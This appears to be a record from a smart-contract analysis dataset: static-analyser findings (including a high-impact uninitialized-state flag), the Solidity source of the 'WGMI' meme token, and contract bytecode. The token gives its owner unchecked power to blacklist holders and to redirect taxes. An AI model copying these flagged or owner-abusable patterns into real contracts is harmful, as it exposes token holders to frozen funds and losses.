a03338116600090815260046020908152604080832093881683529290529081205561156c565b611545818463ffffffff610d4116565b600160a060020a033381166000908152600460209081526040808320938916835292905220555b600160a060020a0333811660008181526004602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610de95780601f10610dbe57610100808354040283529160200191610de9565b60256020526000908152604090205481565b600054600160a060020a031681565b60165481565b602d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610de95780601f10610dbe57610100808354040283529160200191610de9565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610de95780601f10610dbe57610100808354040283529160200191610de9565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610de95780601f10610dbe57610100808354040283529160200191610de9565b60005433600160a060020a039081169116146117c057600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0333166000908152602560205260408120548290101561181557600080fd5b600160a060020a033381166000818152602560205260408082208054879003905592861680825290839020805486019055916000805160206120b28339815191529085905190815260200160405180910390a350600192915050565b60155481565b600e5481565b60125481565b601e5481565b600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610de95780601f10610dbe57610100808354040283529160200191610de9565b6000805433600160a060020a0390811691161461191057600080fd5b601f54601454111561192157611ca2565b6020546001141561193157611ca2565b611939610b7e565b9050806003148061194a5750806005145b156119555760006013555b61197160646102fe601f54601554610d4190919063ffffffff16565b601c55601654601f5460245461199e9291611992919063ffffffff610d4116565b9063ffffffff610d4116565b6018819055601c546119b6919063ffffffff610d4116565b60188190556017546119ce919063ffffffff610d4116565b601855601654600654600160a060020a03166000908152602560205260409020546119fe9163ffffffff610b6416565b600654600160a060020a03908116600090815260256020526040808220939093556016543090921681529190912054611a3c9163ffffffff610d4116565b600160a060020a03308116600081815260256020526040908190209390935560065460165492169290916000805160206120b2833981519152915190815260200160405180910390a36000601c541115611b4557601c54600754600160a060020a0316600090815260256020526040902054611abd9163ffffffff610b6416565b600754600160a060020a0390811660009081526025602052604080822093909355601c543090921681529190912054611afb9163ffffffff610d4116565b600160a060020a033081166000818152602560205260409081902093909355600754601c5492169290916000805160206120b2833981519152915190815260200160405180910390a35b60006018541115611c0557601854600554600160a060020a0316600090815260256020526040902054611b7d9163ffffffff610b6416565b600554600160a060020a03908116600090815260256020526040808220939093556018543090921681529190912054611bbb9163ffffffff610d4116565b600160a060020a03308116600081815260256020526040908190209390935560055460185492169290916000805160206120b2833981519152915190815260200160405180910390a35b601b54601a54611c1d9101606463ffffffff610d2a16565b601d819055600754600160a060020a03169080156108fc0290604051600060405180830381858888f193505050501515611c5657600080fd5b601d54601b8054919091039055600654601a54600160a060020a039091169080156108fc0290604051600060405180830381858888f193505050501515611c9c57600080fd5b60016020555b50565b600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610de95780601f10610dbe57610100808354040283529160200191610de9565b6000805433600160a060020a03908116911614611d2c57600080fd5b611d34610b7e565b90506005811015611d4457611dfd565b602254611d63906102fe84670de0b6b3a764000063ffffffff610cff16565b9150601b54821115611d7457611dfd565b601b54611d87908363ffffffff610d4116565b601b55600554600160a060020a031682156108fc0283604051600060405180830381858888f193505050501515611dbd57600080fd5b602a546000908152602860205260409020838051611ddf929160200190612023565b50602a80546000908152602960205260409020839055805460010190555b505050565b600160a060020a033381166000908152600460209081526040808320938616835292905290812054611e3a908363ffffffff610b6416565b600160a060020a0333811660008181526004602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b6000805433600160a060020a03908116911614611ec257600080fd5b6022829055602354611edb90839063ffffffff610d2a16565b602155919050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b6000805433600160a060020a03908116911614611f2a57600080fd5b611f32610b7e565b90506006811015611f4257611ca2565b601754600554600160a060020a0316600090815260256020526040902054611f6f9163ffffffff610b6416565b600554600160a060020a03908116600090815260256020526040808220939093556017543090921681529190912054611fad9163ffffffff610d4116565b600160a060020a03308116600081815260256020526040908190209390935560055460175492169290916000805160206120b2833981519152915190815260200160405180910390a350565b60225481565b60135481565b60145481565b60235481565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061206457805160ff1916838001178555612091565b82800160010185558215612091579182015b82811115612091578251825591602001919060010190612076565b50610cfb926112c19250905b80821115610cfb576000815560010161209d5600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058201666a9efd9ade36d3bf6511f3cdf4750867b5a4364702b584ed292ec8a1868ea0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
275
0x3F5865334b668d96b0D808C153431476666B4Be5
/** *Submitted for verification at Etherscan.io on 2021-11-10 */ /** Telegram: https://t.me/wgmi_eth Twitter: https://twitter.com/wgmitoken /$$ /$$ /$$$$$$ /$$ /$$ /$$$$$$ | $$ /$ | $$ /$$__ $$| $$$ /$$$|_ $$_/ | $$ /$$$| $$| $$ \__/| $$$$ /$$$$ | $$ | $$/$$ $$ $$| $$ /$$$$| $$ $$/$$ $$ | $$ | $$$$_ $$$$| $$|_ $$| $$ $$$| $$ | $$ | $$$/ \ $$$| $$ \ $$| $$\ $ | $$ | $$ | $$/ \ $$| $$$$$$/| $$ \/ | $$ /$$$$$$ |__/ \__/ \______/ |__/ |__/|______/ It’s time to apply all that we have learned Tokens bought and tokens spurned Private keys and several seeds With which we’ve written all our deeds But still fall silent our hopes still pending For a transaction not unwished sending At last on this nonce arose a degen anthem for us to sing “We’re all going to make it” let the blockchain ring - 100% Tokens to Liquidity / No premine dev token wallet - Dev tax 7% at time of launch - Launch with 2% Wallet Cap Limit **/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private m_Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); m_Owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return m_Owner; } function transferOwnership(address _address) public virtual onlyOwner { emit OwnershipTransferred(m_Owner, _address); m_Owner = _address; } modifier onlyOwner() { require(_msgSender() == m_Owner, "Ownable: caller is not the owner"); _; } } contract Taxable is Ownable { using SafeMath for uint256; uint256[] m_TaxAlloc; address payable[] m_TaxAddresses; mapping (address => uint256) private m_TaxIdx; uint256 public m_TotalAlloc; function initTax() internal virtual { m_TaxAlloc = new uint24[](0); m_TaxAddresses = new address payable[](0); m_TaxAlloc.push(0); m_TaxAddresses.push(payable(address(0))); } function payTaxes(uint256 _eth, uint256 _d) internal virtual { for (uint i = 1; i < m_TaxAlloc.length; i++) { uint256 _alloc = m_TaxAlloc[i]; address payable _address = m_TaxAddresses[i]; uint256 _amount = _eth.mul(_alloc).div(_d); if (_amount > 1){ _address.transfer(_amount); } } } function setTaxAlloc(address payable _address, uint256 _alloc) internal virtual onlyOwner() { uint _idx = m_TaxIdx[_address]; if (_idx == 0) { require(m_TotalAlloc.add(_alloc) <= 10500); m_TaxAlloc.push(_alloc); m_TaxAddresses.push(_address); m_TaxIdx[_address] = m_TaxAlloc.length - 1; m_TotalAlloc = m_TotalAlloc.add(_alloc); } else { // update alloc for this address uint256 _priorAlloc = m_TaxAlloc[_idx]; require(m_TotalAlloc.add(_alloc).sub(_priorAlloc) <= 10500); m_TaxAlloc[_idx] = _alloc; m_TotalAlloc = m_TotalAlloc.add(_alloc).sub(_priorAlloc); } } function totalTaxAlloc() internal virtual view returns (uint256) { return m_TotalAlloc; } function getTaxAlloc(address payable _address) public virtual onlyOwner() view returns (uint256) { uint _idx = m_TaxIdx[_address]; return m_TaxAlloc[_idx]; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WGMI is Context, IERC20, Taxable { using SafeMath for uint256; // TOKEN uint256 private constant TOTAL_SUPPLY = 1000000000 * 10**9; string private m_Name = "We're Gonna Make It"; string private m_Symbol = "WGMI"; uint8 private m_Decimals = 9; // EXCHANGES address private m_UniswapV2Pair; IUniswapV2Router02 private m_UniswapV2Router; // TRANSACTIONS uint256 private m_WalletLimit = TOTAL_SUPPLY.div(50); // 2% supply uint256 private m_TxLimit = TOTAL_SUPPLY.div(50); // 2% supply bool private m_Liquidity = false; event SetTxLimit(uint TxLimit); // MISC mapping (address => bool) private m_Blacklist; mapping (address => bool) private m_ExcludedAddresses; mapping (address => uint256) private m_Balances; mapping (address => mapping (address => uint256)) private m_Allowances; uint256 private m_LastEthBal = 0; bool private m_Launched = false; bool private m_IsSwap = false; bool private _limitTX = true; uint256 private pMax = 100000; // max alloc percentage modifier lockTheSwap { m_IsSwap = true; _; m_IsSwap = false; } receive() external payable {} constructor () { initTax(); m_Balances[address(this)] = TOTAL_SUPPLY; m_ExcludedAddresses[owner()] = true; m_ExcludedAddresses[address(this)] = true; emit Transfer(address(0), address(this), TOTAL_SUPPLY); } function name() public view returns (string memory) { return m_Name; } function symbol() public view returns (string memory) { return m_Symbol; } function decimals() public view returns (uint8) { return m_Decimals; } function totalSupply() public pure override returns (uint256) { return TOTAL_SUPPLY; } function balanceOf(address _account) public view override returns (uint256) { return m_Balances[_account]; } function transfer(address _recipient, uint256 _amount) public override returns (bool) { _transfer(_msgSender(), _recipient, _amount); return true; } function allowance(address _owner, address _spender) public view override returns (uint256) { return m_Allowances[_owner][_spender]; } function approve(address _spender, uint256 _amount) public override returns (bool) { _approve(_msgSender(), _spender, _amount); return true; } function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) { _transfer(_sender, _recipient, _amount); _approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance")); return true; } function _readyToTax(address _sender) private view returns (bool) { return !m_IsSwap && _sender != m_UniswapV2Pair; } function _isBuy(address _sender) private view returns (bool) { return _sender == m_UniswapV2Pair; } function _trader(address _sender, address _recipient) private view returns (bool) { return !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]); } function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) { return _sender == m_UniswapV2Pair || _recipient == m_UniswapV2Pair; } function _txRestricted(address _sender, address _recipient) private view returns (bool) { return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient]; } function _walletCapped(address _recipient) private view returns (bool) { return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router); } function _checkTX() private view returns (uint256){ return m_TxLimit; } function setTxLimit(uint24 limit) external onlyOwner() { m_TxLimit = TOTAL_SUPPLY.div(limit); } function setWalletLimit(uint24 limit) external onlyOwner() { m_WalletLimit = TOTAL_SUPPLY.div(limit); } function CurrentTxLimit() public view returns (uint256) { return m_TxLimit; } function CurrentWalletLimit() public view returns (uint256) { return m_WalletLimit; } function _approve(address _owner, address _spender, uint256 _amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(_spender != address(0), "ERC20: approve to the zero address"); m_Allowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } function _transfer(address _sender, address _recipient, uint256 _amount) private { require(_sender != address(0), "ERC20: transfer from the zero address"); require(_recipient != address(0), "ERC20: transfer to the zero address"); require(_amount > 0, "Transfer amount must be greater than zero"); require(!m_Blacklist[_sender] && !m_Blacklist[_recipient] && !m_Blacklist[tx.origin]); if(_walletCapped(_recipient)){ if (m_Launched){ require(balanceOf(_recipient) < m_WalletLimit); } else { require(_amount <= _checkTX()); require(balanceOf(_recipient) < m_WalletLimit); } } uint256 _taxes = 0; if (_trader(_sender, _recipient)) { require(m_Launched); if (_txRestricted(_sender, _recipient)) require(_amount <= _checkTX()); _taxes = _getTaxes(_sender, _recipient, _amount); _tax(_sender); } _updateBalances(_sender, _recipient, _amount, _taxes); } function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private { uint256 _netAmount = _amount.sub(_taxes); m_Balances[_sender] = m_Balances[_sender].sub(_amount); m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount); m_Balances[address(this)] = m_Balances[address(this)].add(_taxes); emit Transfer(_sender, _recipient, _netAmount); } function _getTaxes(address _sender, address _recipient, uint256 _amount) private view returns (uint256) { uint256 _ret = 0; if (m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]) { return _ret; } _ret = _ret.add(_amount.div(pMax).mul(totalTaxAlloc())); return _ret; } function _tax(address _sender) private { if (_readyToTax(_sender)) { uint256 _tokenBalance = balanceOf(address(this)); _swapTokensForETH(_tokenBalance); _disperseEth(); } } function _swapTokensForETH(uint256 _amount) private lockTheSwap { address[] memory _path = new address[](2); _path[0] = address(this); _path[1] = m_UniswapV2Router.WETH(); _approve(address(this), address(m_UniswapV2Router), _amount); m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( _amount, 0, _path, address(this), block.timestamp ); } function _getTaxDenominator() private view returns (uint) { uint _ret = 0; _ret = _ret.add(totalTaxAlloc()); return _ret; } function _disperseEth() private { uint256 _eth = address(this).balance; if (_eth <= m_LastEthBal) return; uint256 _newEth = _eth.sub(m_LastEthBal); uint _d = _getTaxDenominator(); if (_d < 1) return; payTaxes(_newEth, _d); m_LastEthBal = address(this).balance; } function addLiquidity() external onlyOwner() { require(!m_Liquidity,"Liquidity already added."); uint256 _ethBalance = address(this).balance; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); m_UniswapV2Router = _uniswapV2Router; _approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY); m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); m_UniswapV2Router.addLiquidityETH{value: _ethBalance}(address(this),balanceOf(address(this)),0,0,address(msg.sender),block.timestamp); IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max); m_Liquidity = true; } function launch() external onlyOwner() { m_WalletLimit = TOTAL_SUPPLY.div(50); //set wallet limit back to 2% m_Launched = true; } function checkIfBlacklist(address _address) external view returns (bool) { return m_Blacklist[_address]; } function checkIfWhitelist(address _address) external view returns (bool) { return m_ExcludedAddresses[_address]; } function blacklist(address _a) external onlyOwner() { m_Blacklist[_a] = true; } function rmBlacklist(address _a) external onlyOwner() { m_Blacklist[_a] = false; } function updateTaxAlloc(address payable _address, uint _alloc) external onlyOwner() { setTaxAlloc(_address, _alloc); if (_alloc > 0) { m_ExcludedAddresses[_address] = true; } } function addTaxWhitelist(address[] memory _address) external onlyOwner() { for (uint i = 0; i < _address.length; i++) { m_ExcludedAddresses[_address[i]] = true; } } function rmTaxWhitelist(address[] memory _address) external onlyOwner() { for (uint i = 0; i < _address.length; i++) { m_ExcludedAddresses[_address[i]] = false; } } }
0x6080604052600436106101845760003560e01c8063899c3ea3116100d1578063c7ab8d9d1161008a578063f2d226fc11610064578063f2d226fc146104b0578063f2fde38b146104d0578063f9f92be4146104f0578063fbe6a0891461051057600080fd5b8063c7ab8d9d1461041c578063dd62ed3e14610455578063e8078d941461049b57600080fd5b8063899c3ea31461035f5780638a13792e1461037f5780638da5cb5b1461039f57806395d89b41146103c757806398d5a5cb146103dc578063a9059cbb146103fc57600080fd5b80631c815b491161013e578063313ce56711610118578063313ce567146102b85780633bcad4b3146102da57806354486ac31461031357806370a082311461032957600080fd5b80631c815b491461025857806323b872dd146102785780632473fc9e1461029857600080fd5b806291ef3b1461019057806301339c21146101b457806306fdde03146101cb57806307ac5dc5146101ed578063095ea7b31461020d57806318160ddd1461023d57600080fd5b3661018b57005b600080fd5b34801561019c57600080fd5b50600a545b6040519081526020015b60405180910390f35b3480156101c057600080fd5b506101c9610525565b005b3480156101d757600080fd5b506101e0610586565b6040516101ab9190611cdf565b3480156101f957600080fd5b506101c9610208366004611c8c565b610618565b34801561021957600080fd5b5061022d610228366004611af8565b610668565b60405190151581526020016101ab565b34801561024957600080fd5b50670de0b6b3a76400006101a1565b34801561026457600080fd5b506101c9610273366004611af8565b61067f565b34801561028457600080fd5b5061022d610293366004611b5d565b6106ea565b3480156102a457600080fd5b506101c96102b3366004611b9e565b610754565b3480156102c457600080fd5b5060075460405160ff90911681526020016101ab565b3480156102e657600080fd5b5061022d6102f5366004611abe565b6001600160a01b03166000908152600d602052604090205460ff1690565b34801561031f57600080fd5b506101a160045481565b34801561033557600080fd5b506101a1610344366004611abe565b6001600160a01b03166000908152600e602052604090205490565b34801561036b57600080fd5b506101c961037a366004611c8c565b6107ef565b34801561038b57600080fd5b506101a161039a366004611abe565b61083f565b3480156103ab57600080fd5b506000546040516001600160a01b0390911681526020016101ab565b3480156103d357600080fd5b506101e06108b4565b3480156103e857600080fd5b506101c96103f7366004611abe565b6108c3565b34801561040857600080fd5b5061022d610417366004611af8565b610917565b34801561042857600080fd5b5061022d610437366004611abe565b6001600160a01b03166000908152600c602052604090205460ff1690565b34801561046157600080fd5b506101a1610470366004611b24565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b3480156104a757600080fd5b506101c9610924565b3480156104bc57600080fd5b506101c96104cb366004611b9e565b610ce1565b3480156104dc57600080fd5b506101c96104eb366004611abe565b610d7c565b3480156104fc57600080fd5b506101c961050b366004611abe565b610e0a565b34801561051c57600080fd5b506009546101a1565b6000546001600160a01b0316336001600160a01b0316146105615760405162461bcd60e51b815260040161055890611d34565b60405180910390fd5b610574670de0b6b3a76400006032610e61565b6009556011805460ff19166001179055565b60606005805461059590611e4a565b80601f01602080910402602001604051908101604052809291908181526020018280546105c190611e4a565b801561060e5780601f106105e35761010080835404028352916020019161060e565b820191906000526020600020905b8154815290600101906020018083116105f157829003601f168201915b5050505050905090565b6000546001600160a01b0316336001600160a01b03161461064b5760405162461bcd60e51b815260040161055890611d34565b610662670de0b6b3a764000062ffffff8316610e61565b600a5550565b6000610675338484610ea3565b5060015b92915050565b6000546001600160a01b0316336001600160a01b0316146106b25760405162461bcd60e51b815260040161055890611d34565b6106bc8282610fc7565b80156106e6576001600160a01b0382166000908152600d60205260409020805460ff191660011790555b5050565b60006106f7848484611172565b610749843361074485604051806060016040528060288152602001611ef8602891396001600160a01b038a166000908152600f6020908152604080832033845290915290205491906113e0565b610ea3565b5060015b9392505050565b6000546001600160a01b0316336001600160a01b0316146107875760405162461bcd60e51b815260040161055890611d34565b60005b81518110156106e6576000600d60008484815181106107ab576107ab611eb6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107e781611e85565b91505061078a565b6000546001600160a01b0316336001600160a01b0316146108225760405162461bcd60e51b815260040161055890611d34565b610839670de0b6b3a764000062ffffff8316610e61565b60095550565b600080546001600160a01b0316336001600160a01b0316146108735760405162461bcd60e51b815260040161055890611d34565b6001600160a01b03821660009081526003602052604090205460018054829081106108a0576108a0611eb6565b90600052602060002001549150505b919050565b60606006805461059590611e4a565b6000546001600160a01b0316336001600160a01b0316146108f65760405162461bcd60e51b815260040161055890611d34565b6001600160a01b03166000908152600c60205260409020805460ff19169055565b6000610675338484611172565b6000546001600160a01b0316336001600160a01b0316146109575760405162461bcd60e51b815260040161055890611d34565b600b5460ff16156109aa5760405162461bcd60e51b815260206004820152601860248201527f4c697175696469747920616c72656164792061646465642e00000000000000006044820152606401610558565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915547906109e83082670de0b6b3a7640000610ea3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a2157600080fd5b505afa158015610a35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a599190611adb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610aa157600080fd5b505afa158015610ab5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad99190611adb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b2157600080fd5b505af1158015610b35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b599190611adb565b600780546001600160a01b0392831661010002610100600160a81b03199091161790556008541663f305d7198330610ba6816001600160a01b03166000908152600e602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c4016060604051808303818588803b158015610c0557600080fd5b505af1158015610c19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c3e9190611cb1565b505060075460085460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015261010090920416915063095ea7b390604401602060405180830381600087803b158015610c9757600080fd5b505af1158015610cab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccf9190611c6a565b5050600b805460ff1916600117905550565b6000546001600160a01b0316336001600160a01b031614610d145760405162461bcd60e51b815260040161055890611d34565b60005b81518110156106e6576001600d6000848481518110610d3857610d38611eb6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610d7481611e85565b915050610d17565b6000546001600160a01b0316336001600160a01b031614610daf5760405162461bcd60e51b815260040161055890611d34565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316336001600160a01b031614610e3d5760405162461bcd60e51b815260040161055890611d34565b6001600160a01b03166000908152600c60205260409020805460ff19166001179055565b600061074d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061141a565b6001600160a01b038316610f055760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610558565b6001600160a01b038216610f665760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610558565b6001600160a01b038381166000818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0316336001600160a01b031614610ffa5760405162461bcd60e51b815260040161055890611d34565b6001600160a01b038216600090815260036020526040902054806110e657600454612904906110299084611448565b111561103457600080fd5b6001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6018390556002805480830182556000919091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b03861617905580546110b89190611e33565b6001600160a01b0384166000908152600360205260409020556004546110de9083611448565b600455505050565b6000600182815481106110fb576110fb611eb6565b9060005260206000200154905061290461112a826111248660045461144890919063ffffffff16565b906114a7565b111561113557600080fd5b826001838154811061114957611149611eb6565b6000918252602090912001556004546111689082906111249086611448565b600455505b505050565b6001600160a01b0383166111d65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610558565b6001600160a01b0382166112385760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610558565b6000811161129a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610558565b6001600160a01b0383166000908152600c602052604090205460ff161580156112dc57506001600160a01b0382166000908152600c602052604090205460ff16155b80156112f85750326000908152600c602052604090205460ff16155b61130157600080fd5b61130a826114e9565b1561137a5760115460ff1615611345576009546001600160a01b0383166000908152600e60205260409020541061134057600080fd5b61137a565b600a5481111561135457600080fd5b6009546001600160a01b0383166000908152600e60205260409020541061137a57600080fd5b60006113868484611520565b156113ce5760115460ff1661139a57600080fd5b6113a48484611567565b156113b857600a548211156113b857600080fd5b6113c38484846115c3565b90506113ce8461163a565b6113da8484848461166c565b50505050565b600081848411156114045760405162461bcd60e51b81526004016105589190611cdf565b5060006114118486611e33565b95945050505050565b6000818361143b5760405162461bcd60e51b81526004016105589190611cdf565b5060006114118486611df2565b6000806114558385611dda565b90508381101561074d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610558565b600061074d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113e0565b6007546000906001600160a01b0383811661010090920416148015906106795750506008546001600160a01b039081169116141590565b6001600160a01b0382166000908152600d602052604081205460ff168061155f57506001600160a01b0382166000908152600d602052604090205460ff165b159392505050565b6007546000906001600160a01b038481166101009092041614801561159a57506008546001600160a01b03838116911614155b801561074d5750506001600160a01b03166000908152600d602052604090205460ff1615919050565b6001600160a01b0383166000908152600d6020526040812054819060ff168061160457506001600160a01b0384166000908152600d602052604090205460ff165b1561161057905061074d565b61141161163361161f60045490565b60125461162d908790610e61565b90611756565b8290611448565b611643816117d5565b1561166957306000908152600e602052604090205461166181611806565b6106e6611989565b50565b600061167883836114a7565b6001600160a01b0386166000908152600e602052604090205490915061169e90846114a7565b6001600160a01b038087166000908152600e602052604080822093909355908616815220546116cd9082611448565b6001600160a01b0385166000908152600e60205260408082209290925530815220546116f99083611448565b306000908152600e602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b60008261176557506000610679565b60006117718385611e14565b90508261177e8583611df2565b1461074d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610558565b601154600090610100900460ff1615801561067957505060075461010090046001600160a01b039081169116141590565b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061184a5761184a611eb6565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561189e57600080fd5b505afa1580156118b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d69190611adb565b816001815181106118e9576118e9611eb6565b6001600160a01b03928316602091820292909201015260085461190f9130911684610ea3565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790611948908590600090869030904290600401611d69565b600060405180830381600087803b15801561196257600080fd5b505af1158015611976573d6000803e3d6000fd5b50506011805461ff001916905550505050565b601054479081116119975750565b60006119ae601054836114a790919063ffffffff16565b905060006119ba6119dd565b905060018110156119ca57505050565b6119d482826119ec565b50504760105550565b60008061067961163360045490565b60015b60015481101561116d57600060018281548110611a0e57611a0e611eb6565b90600052602060002001549050600060028381548110611a3057611a30611eb6565b60009182526020822001546001600160a01b03169150611a5a85611a548886611756565b90610e61565b90506001811115611a9d576040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611a9b573d6000803e3d6000fd5b505b5050508080611aab90611e85565b9150506119ef565b80356108af81611ee2565b600060208284031215611ad057600080fd5b813561074d81611ee2565b600060208284031215611aed57600080fd5b815161074d81611ee2565b60008060408385031215611b0b57600080fd5b8235611b1681611ee2565b946020939093013593505050565b60008060408385031215611b3757600080fd5b8235611b4281611ee2565b91506020830135611b5281611ee2565b809150509250929050565b600080600060608486031215611b7257600080fd5b8335611b7d81611ee2565b92506020840135611b8d81611ee2565b929592945050506040919091013590565b60006020808385031215611bb157600080fd5b823567ffffffffffffffff80821115611bc957600080fd5b818501915085601f830112611bdd57600080fd5b813581811115611bef57611bef611ecc565b8060051b604051601f19603f83011681018181108582111715611c1457611c14611ecc565b604052828152858101935084860182860187018a1015611c3357600080fd5b600095505b83861015611c5d57611c4981611ab3565b8552600195909501949386019386016